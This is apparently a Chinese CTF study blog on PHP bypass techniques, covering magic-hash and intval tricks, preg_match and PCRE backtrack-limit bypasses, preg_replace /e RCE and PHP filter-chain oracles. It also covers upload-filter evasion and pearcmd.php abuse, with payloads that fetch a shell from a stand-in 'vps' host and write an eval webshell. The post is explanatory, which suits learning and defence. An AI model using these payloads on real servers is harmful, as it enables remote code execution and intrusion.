PHP的一些小技巧
关于md5和sha1绕过
1.数组绕过
对于php强比较和弱比较:md5(),sha1()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2.0e绕过
对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同
md5加密后是0e开头的:
1 | 240610708:0e462097431906509019562988736854 |
sha1加密后是0e开头的
1 | 10932435112: 0e07766915004133176347055865026311692244 |
3.双重md5下的0e绕过
以下字符串进行两次md5后以0e开头
7r4lGXCH2Ksu2JNT3BYM
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
4.md5绕过SQL
1 | ffifdyop,经过md5函数后结果为 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c; |
这两个加密后都是万能密码
5.md5(sha1)加密后弱等于初始值
$a==md5($a)
0e215962017
的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
$a==sha1($a)
0e1290633704的sha1值也是由0e开头的,在弱比较中相等
6.图片文本强碰撞绕过
可以用工具fastcoll(md5强碰撞生成工具)
例如我们需要生成两个md5值相同的图片/文本,可以利用工具去生成
intval()函数漏洞绕过
什么是intval()?
intval()
函数是 PHP 中的一个内置函数,用于获取变量的整数值。常用于强制类型转换。
基础语法
1 | intval(mixed $value, int $base = 10): int |
参数:
- $var:需要转换成 integer 的「变量」
- $base:转换所使用的「进制」
注意:
如果 base
是 0,通过检测 value
的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0b” (或 “0B”) 开头,使用 2 进制 (binary);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
返回值
成功时返回 value
的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
举个例子
1 |
|
绕过思路
- 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
- 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
- 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
- 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。
- 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
- 当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
关于preg_match()绕过
什么是preg_match?
绕过方法
- 数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
- 换行符绕过
特殊字符.
在正则表达式中可以匹配任何字符串,换行符除外
例如我们这里有代码
1 |
|
如果我们传入a=flag,就满足了正则匹配,返回匹配成功
如果我们传入a=%0aflag,就能绕过正则匹配,返回匹配失败,这是为什么呢?
当传入 a=\nflag
时:
^
- 匹配字符串开头.*
- 尝试贪婪匹配:- 默认情况下
.
不匹配换行符\n
- 所以
.*
在这里匹配空字符串
- 默认情况下
剩余字符串
1
\nflag
- 需要匹配
(flag)
,但开头是\n
- 无法匹配
f
,所以整体匹配失败
- 需要匹配
返回0(不匹配)
*
是贪婪量词,会尽可能多地匹配字符。当后续匹配失败时,会逐步”吐出”已匹配的字符(回溯)。
PHP利用PCRE回溯次数限制绕过
参考P牛的文章:PHP利用PCRE回溯次数限制绕过某些安全限制
实例代码如下
1 |
|
分析一下就是判断用户输入的内容有没有php代码,如果没有就写入文件,显而易见我们需要绕过这个正则匹配去写入我们期望的代码,这时候该怎么做呢?
正则引擎
常见的正则引擎,往往被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机),他们匹配的过程是这样的
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入(线性匹配)
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态(回溯机制)
大多数编程语言都采用的NFA作为正则引擎,其中也包括PHP使用的PCRE库
回溯的过程
例如p牛这里测试了一个案例
假设匹配的输入是<?php phpinfo();//aaaaa
,实际执行流程是这样的:
可以看见在第四步的时候,由于.*
贪婪匹配机制,第一个.*
最终匹配到我们输入的字符串的结尾(<?php phpinfo();//aaaaa
),但这样的话后面的匹配就匹配不上,因为在.*
后还应该匹配**[(`;?>]*,所以NFA开始回溯匹配,从末尾开始,先吐出一个a,此时`.匹配的是
]**去匹配a,但仍然匹配不上,继续回溯,再吐出一个a,尝试匹配aa,但仍然不行……
一直回溯直到第12步,此时.*
匹配的是<?php phpinfo()
后面的;
则匹配上**[(`;?>]*,此时这个结果才能满足正则表达式的结果,于是就不再回溯,继续向后匹配表达式,第二个`.`匹配到了字符串末尾,最后结束匹配。
以上就是NFA的回溯机制。
关于PHP的pcre.backtrack_limit限制利用
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit
。我们可以通过var_dump(ini_get('pcre.backtrack_limit'));
的方式查看当前环境下的上限:
在官方文档中也有写到
可见,回溯次数上限默认是100万。那么,假设我们的回溯次数超过了100万,会造成什么结果呢?我们尝试一下
1 | var_dump(preg_match('/<\?.*[(`;?>].*/is','<?php phpinfo();//' . str_repeat('c',1000000))); |
结果返回了false,而并非1和0,preg_match
函数返回false表示此次执行失败了
我们可以用
1 | preg_last_error() === PREG_BACKTRACK_LIMIT_ERROR |
这行代码用于检测最后一次PCRE正则操作是否因回溯限制而失败。
组成部分 | 说明 |
---|---|
preg_last_error() |
PHP函数,返回最后一次PCRE正则操作的错误代码 |
PREG_BACKTRACK_LIMIT_ERROR |
PHP常量,值为2,表示正则匹配超出最大回溯限制 |
=== |
比较运算符,检查值和类型是否完全一致 |
这里返回true,说明确实是因为超出了最大回溯限制而执行失败
所以上面那道例题的答案就很明显了,可以通过发送超长字符串使正则执行失败,让我们的php代码成功写入
最终的exp
1 | import requests |
preg_replace /e 模式下的RCE
限制版本:PHP <=5.5
什么是preg_replace()函数?
preg_replace — 执行一个正则表达式的搜索和替换
1 | preg_replace( |
其实这里的漏洞很简单,如果preg_replace 使用了 /e 模式,就可以导致代码执行,当使用了/e模式的时候,preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串当成代码去执行,
举个例子
1 |
|
因为这里第一个和第三个参数都是我们可控的,我们也知道了preg_replace匹配到符号正则的字符串时,会将替换字符串当成代码去执行,但是因为这里第二个参数是固定的,此时我们应该怎么执行代码呢?
在参数2中,我们可以看到有\1
,其实\1
在这个函数中是有含义的,\1
是 反向引用,指代正则中的第1个捕获组。
反向引用
如果在正则表达式两边添加括号,那么就会导致相关的匹配存储到一个临时的缓冲区,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以实际上这里就是匹配第一个子匹配项,可能现在还不能理解,先拿payload去讲解吧
1 | GET:/?.*={${phpinfo()}} |
那么结果就是
1 | 原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value); |
本身这个payload是可以实现的,但是因为这是在GET传参,PHP在处理参数名的时候会将.
换成下划线导致无法执行,当非法字符为首字母时,只有点号会被替换成下划线。
所以我们这里要做的就是让正则匹配能完全匹配到我们的{${phpinfo()}}
,这里师傅给出了一个payload
1 | \S*=${phpinfo()} |
然后我们再解释一下为什么需要匹配到{${phpinfo()}}
才能执行里面的代码,这也是一个小点,其实就是可变变量的原因
所以在双引号的包裹下,我们的字符串会检查并解析变量,而单引号不会,**${phpinfo()}** 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
1 | php > var_dump(phpinfo()); |
另外需要注意的是,在/e模式下执行代码的时候会自动转义特殊字符
PHP中非法变量的解析
参数名中含有空格
和点
,可以看到当我们传入?mo yu.=xxx
时,传入的参数名中点.
和空格
都被替换为了下划线_
,从而变成mo_yu_这样的参数名确实无法传参
当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
pearcmd.php的妙用
1. register_argc_argv
如果环境中含有php.ini,则默认register_argc_argv=Off;如果环境中没有php.ini,则默认register_argc_argv=On
这个register_argc_argv能干什么呢?
我们先本地测试一下
1 | //test.php |
1 | //在 CLI 模式 下 |
在web页模式下必须在php.ini开启register_argc_argv配置项
设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
然后我们如何利用呢?
1 |
|
不过这个在web下测试更方便,但是不知道为什么这里没测出来,所以直接在CLI下测了
1 | root@dkhkv28T7ijUp1amAVjh:/var/www/html# cat 1.php |
可以看到成功执行了
然后我们看pearcmd.php的神奇使用,最好的就是p牛的文章了
PEAR是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库
类似于composer,用于代码的下载与管理。
pear可以用来拉取远程的代码
1 | pear install -R /tmp http://vps/shell.php |
该payload可以用来拉取我们vps上的shell.php文件并解析执行
2.register_argc_argv和pear的关系
当执行了pear后,会将$_SERVER[‘argv’]当作参数执行!如果存在文件包含漏洞的话,就可以包含pearcmd.php,拉取远程服务器上的文件到靶机,再通过文件包含获取shell。
3.payload
如果靶机出网
1 | //test.php |
我们尝试拉取远程服务器的shell.php到靶机的/tmp目录下
payload
1 | http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://vps/shell.php |
然后文件包含shell.php同时传参cmd即可
解释payload
?file=/usr/local/lib/php/pearcmd.php
- 指定
pearcmd.php
文件的路径。 pearcmd.php
是 PEAR(PHP 扩展和应用库)的命令行工具。
- 指定
&+install+-R+/tmp+http://vps/shell.php
- 这是
pearcmd.php
的install
命令的参数。 install
:安装指定的包。-R /tmp
:将安装的文件保存到/tmp
目录。http://vps/shell.php
:从远程服务器下载的恶意文件。
- 这是
如果靶机不出网,我们可以写一句话木马进hello.php
1 | http://localhost/test.php?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=@eval($_POST['shell']);?>+/var/www/html/shell.php |
解释payload
?+config-create+
- 这是 PHP 的
pearcmd.php
工具的一个参数,用于创建配置文件。 pearcmd.php
是 PEAR(PHP 扩展和应用库)的命令行工具。
- 这是 PHP 的
/&file=/usr/local/lib/php/pearcmd.php&/
- 指定
pearcmd.php
文件的路径。 - 如果服务器上存在
pearcmd.php
,这段代码会尝试调用它。
- 指定
<?=eval($_POST[1])?>
- 这是一个 PHP 短标签,用于执行
eval($_POST[1])
。 eval
函数会执行传入的 PHP 代码,$_POST[1]
是从 POST 请求中获取的参数。- 这段代码的目的是将恶意 PHP 代码写入目标文件。
- 这是一个 PHP 短标签,用于执行
+/tmp/hello.php
- 指定目标文件的路径,即
/tmp/hello.php
。 - 如果攻击成功,恶意代码会被写入该文件。
- 指定目标文件的路径,即
后来看了p牛的文章才知道$SERVER并不任务&符号是参数的分隔符,而是将+号作为分隔符
逃逸eval中注释符
1 |
|
从eval中可以看到我们需要处理两个坑点
- 前面的
#
注释符会把后面的代码注释掉 - 后面的2323是脏数据,需要处理掉
后面的脏数据其实很好处理,我们在传入参数的结尾加上注释就可以,问题是如何绕过前面的注释符让我们的代码生效
我们可以用换行符(\n
)
例如我们传入
1 | ?a=\necho '1';# |
因为eval函数会把括号中的内容当成php代码去拼接在语句中。所以理论上如果我们传入换行符就会变成这样
1 | #\n |
此时成功逃逸注释,我们便可以传入想要传入的代码
但是需要注意的是
注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,
根据**
\n
和\r
在 HTTP 请求中的特殊作用**,如果\n
不经编码直接传入?a=\n123
,服务器或浏览器可能会错误地认为\n
是 HTTP 请求结束符,导致参数被截断。所以我们的\n
也是需要编码成URL编码才能起作用的
所以最终我们需要传入的payload是
1 | ?a=%0aecho '1';%23 |
PHP filter chains的报错攻击
参考文章:https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle
有朋友问到一个题目很有意思,是红明谷初赛2024的web中的ezphp
1 |
|
这里的话根据hash_file函数指定的散列算法md5去处理我们传入的文件名的文件内容,我们先关注一下这个函数
hash_file函数
可以看到第一个参数就是指定的散列算法的类型,第二个就是文件名,这里提示有flag.php,我们传进去看看
1 | POST:a=flag.php |
然后获得到这个文件的哈希值
1 | 5fb6f40193d35a9353d6952f341c87e6 |
然后这题其实是关于PHP filter chains的基于错误的 Oracle 读取文件,但是我们还是先了解一下这个PHP filter chains
什么是PHP filter chains
PHP Filter Chains 是一种利用 PHP 内置的过滤器(Filter)功能构造过滤器链来执行代码或绕过安全限制的技术。例如我们平时用的php://filter伪协议,也是构造过滤器链。当 PHP 处理过滤器链时,恶意代码会被解码并执行。
当它被传递给易受攻击的函数(例如file()
、hash_file()
或)时,即使服务器没有返回文件内容,也可以用来泄露本地文件的内容
例如我们举个例子,在本地测试一下
1 |
|
我们看看file函数的官方解释
file函数
PHP的file函数读取一个文件,但不打印其文件的内容,这意味着服务器的响应中不会显示任何内容。
例如我web目录下有一个1.txt文件
1 | //1.txt |
然后我传入?c=1.txt
可以看到这里并没有返回文件的内容而是返回了数组
然后我们继续往下看
攻击思路
看看原文,然后再一句句翻译
- 使用iconv过滤器通过编码去增加数据大小来触发内存错误
- 使用dechunk过滤器根据上一个错误确定文件的第一个字符。
- 再次使用iconv过滤器,使用不同字节顺序的编码来交换剩余的字符。
然后我们看一下iconv的作用
利用iconv触发内存错误
对于iconv函数来说,他能接收传递给它的字符串的编码,也可以直接从php://filter包装器调用,我们先本地测试一下
1 | root@VM-16-12-ubuntu:/# php -r '$string = "START"; echo strlen($string)."\n";' |
在UTF8的编码下字符串START的长度为5个字节。
1 | root@VM-16-12-ubuntu:/# php -r '$string = "START"; echo strlen(iconv("UTF8","UNICODE",$string))."\n";' |
为什么换成UNICODE编码就是12个字节呢?在 iconv
中,UNICODE
并不是一种标准的编码名称。iconv
将 UNICODE
解释为 UTF-16 编码,而字符串 "START"
包含 5 个字符,每个字符都是 ASCII 字符(码点范围:0-127)。在 UTF-16 编码中,每个 ASCII 字符使用 2 个字节表示。然后iconv
在转换时还会在输出的开头添加 BOM(Byte Order Mark),用于标识字节序。BOM 在 UTF-16 中占用 2 个字节。
所以一共合起来是12个字节
1 | root@VM-16-12-ubuntu:/# php -r '$string = "START"; echo strlen(iconv("UTF8", "UCS-4", $string))."\n";' |
UCS-4
是一种固定长度的 Unicode 编码方式,使用 4 个字节 表示每个字符。但是我们需要用到的是UCS-4LE而不是UCS-4,UCS-4LE的编码的字节序是默认固定的,而UCS-4
的字节序是 未明确指定的,通常由系统默认决定。
在PHP中,资源限制由php.ini的memory_limit参数定义。它的默认值是128MB。如果试图读取大于此大小的文件,则会引发错误
例如我们尝试对字符串进行多次编码
1 |
|
在内存中的操作是这样的
终端执行
1 | root@VM-16-12-ubuntu:/var/www/html# php 2.php |
以上就是如何触发内存错误的学习讲解
如何泄漏文件第1个字符
刚刚我们看到了如何触发这个错误,现在我们来看看如何转化成基于错误的 Oracle
Dechunk过滤器
这里其实是利用了php://filter包装器中的Dechunk方法,但是好像我在PHP文档中并没有搜查到
其目的是处理分块传输编码。后者将数据拆分为2个以CRLF结尾的行的块,第一个行定义块长度。
我们跟着文章试一下
1 | root@VM-16-12-ubuntu:/# echo "START" > /tmp/test |
文章解释的是,当第一个字符是十六进制值([0-9],[a-f],[A-F])时,文件内容在通过dechunk过滤器时被丢弃。这是因为如果十六进制长度后面没有CRLF,解析将失败。
因此,如果第一个字符是十六进制值,输出将为空,否则完整的链不会改变,并且会触发memory_limit错误,从而完成我们的oracle。
然后我们将以上两种技巧联合起来
1 |
|
这里的话构造了一个过滤器链,拼接**convert.iconv.UTF8.UCS-4
过滤器**,最终过滤器链的内容为
1 | php://filter/dechunk|convert.iconv.UTF8.UCS-4|convert.iconv.UTF8.UCS-4|...|convert.iconv.UTF8.UCS-4/resource=/tmp/test |
然后在echo file_get_contents($filter);
中,会进行文件读取并应用该过滤器链,此时会出现两种结果
- 如果第一个字符是在十六进制值的范围中,那么该内容通过dechunk的时候就会被丢弃,也就不会报错
- 如果第一个字符不是在十六进制值的范围中,那么该过滤器链就会完整应用,并且触发memory_limit错误
先学到这吧,实在是太难琢磨了那篇文章
pathinfo()函数绕过
参考文章:文件上传upload-labs 第20关 pathinfo()函数
这个通常出现在我们上传文件的时候的一种绕过,先来看看pathinfo()函数
pathinfo()函数
pathinfo函数用于获取文件或目录的路径信息。它接受一个文件或目录的路径作为输入,并返回一个关联数组,其中包含有关路径的信息,例如 **PATHINFO_DIRNAME
**、 **PATHINFO_BASENAME
**、 **PATHINFO_EXTENSION
**、 **PATHINFO_FILENAME
**。
需要注意一个很重要的点:
PATHINFO_EXTENSION常量表示识别任何有效的拓展名,如果拓展名有斜杠 / 或者 \ 就忽略,返回文件名最后一个点号后面的字符串作为拓展名。如果遇到最后一个点号后面没有拓展名或者拓展名无效就返回为空。
1 | $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); |
根据这个特性,我们就可以在一些题目里进行绕过
如果有一个黑名单后缀验证,很显然要使用特殊的符号和可执行的拓展名拼接,但是这个符号不会影响拼接的拓展名服务器识别是脚本文件。
如果使用 1.php.
的文件名上传上去,最后一个点后面没有正确的后缀名了,pathinfo函数就会返回一个空字符给变量 $file_ext,再拿这个空字符去匹配黑名单显然这个文件就不会被阻止。
基于windows特性,同样的使用 1.php. . 1.php空格 1.php.空格 1.php::$DATA等格式都可以,可以绕过黑名单,也能让文件最终保存为 1.php 。这个在之前文件上传的知识点里有介绍过
如果是linux部署的话,例如00截断抓包改成 1.php%00.jpg (%00要解码,但是要求PHP版本低于5.3.4)。
如果PHP版本过高那
%00
截断就无效了,只能用一个之前从未使用的方法,在两个系统环境使用有一点点区别。在windows下部署可以抓包保存文件名使用1.php/.
1.php\.
1.php/\.
等,在linux下部署就只能用1.php/.
这个了。原因很简单,文件命名的时候/ \
在windows是禁止的而/
在linux也是禁止的,所以不会出现在文件名中最终保存还是1.php文件名。但是\
在linux是一个转义符号允许出现在文件名中,出现在后缀(1.php.)那就没什么意义了。关于为什么 / 后面要一个点,是因为pathinfo函数返回后缀名(最后一个点号后面的字符串)的时候会去除 / 和 \ 。如果使用1.php/的话,那么去除 / 后返回的真实的php后缀被读取到就会黑名单匹配上。加上一个点pathinfo函数读取的就是最后的点后面的字符串,点后面是空字符串不是有效拓展名它就返回为空,空就不会匹配黑名单以达到绕过黑名单目的。
再拓展一下
\.
在linux的作用。如果linux下有一个文件1.php\.
的文件,使用php 1.php\.
命令去执行,那么会认为文件名是1.php.
就会找不到这个文件。正确做法是php '1.php\.'
告诉系统 \ 是文件名一部分而不是转义符号。
所以在Linux下我们就可以利用\.
去绕过后缀名的检测,接下来我们再学习一个新的姿势点
move_uploaded_file的一个细节
参考文章:从0CTF一道题看move_uploaded_file的一个细节问题
这个细节的话也是在做TGCTF的时候碰到的,先是用pathinfo()函数结合黑名单对后缀名进行了过滤,再去进行move_uploaded_file操作,对于这一步的绕过,一开始很多人都构造成了 name=index.php/. 这种格式,但是会发现,这样虽然绕过了后缀检查,
其中,假如我们传入的是 name=aaa.php/.
,则能够正常生成 aaa.php,而传入ndex.php/.
则在覆盖文件这一步失败了
在文章的两个测试中,可以发现name=index.php/. 的错误信息是No Such file or Directory,而name=aaa/../index.php/. 则没有报错,因此初步猜测是move_uploaded_file对于经过了目录跳转后的文件判断机制发生了变化,这里需要结合函数源码进行分析,详细的在这位师傅的文章中写的很好
结论:在进行了目录跳转后,move_uploaded_file将文件判断为不存在了,因此能够执行覆盖操作。
题目:TGCTF2025–(ez)upload(很经典的题目)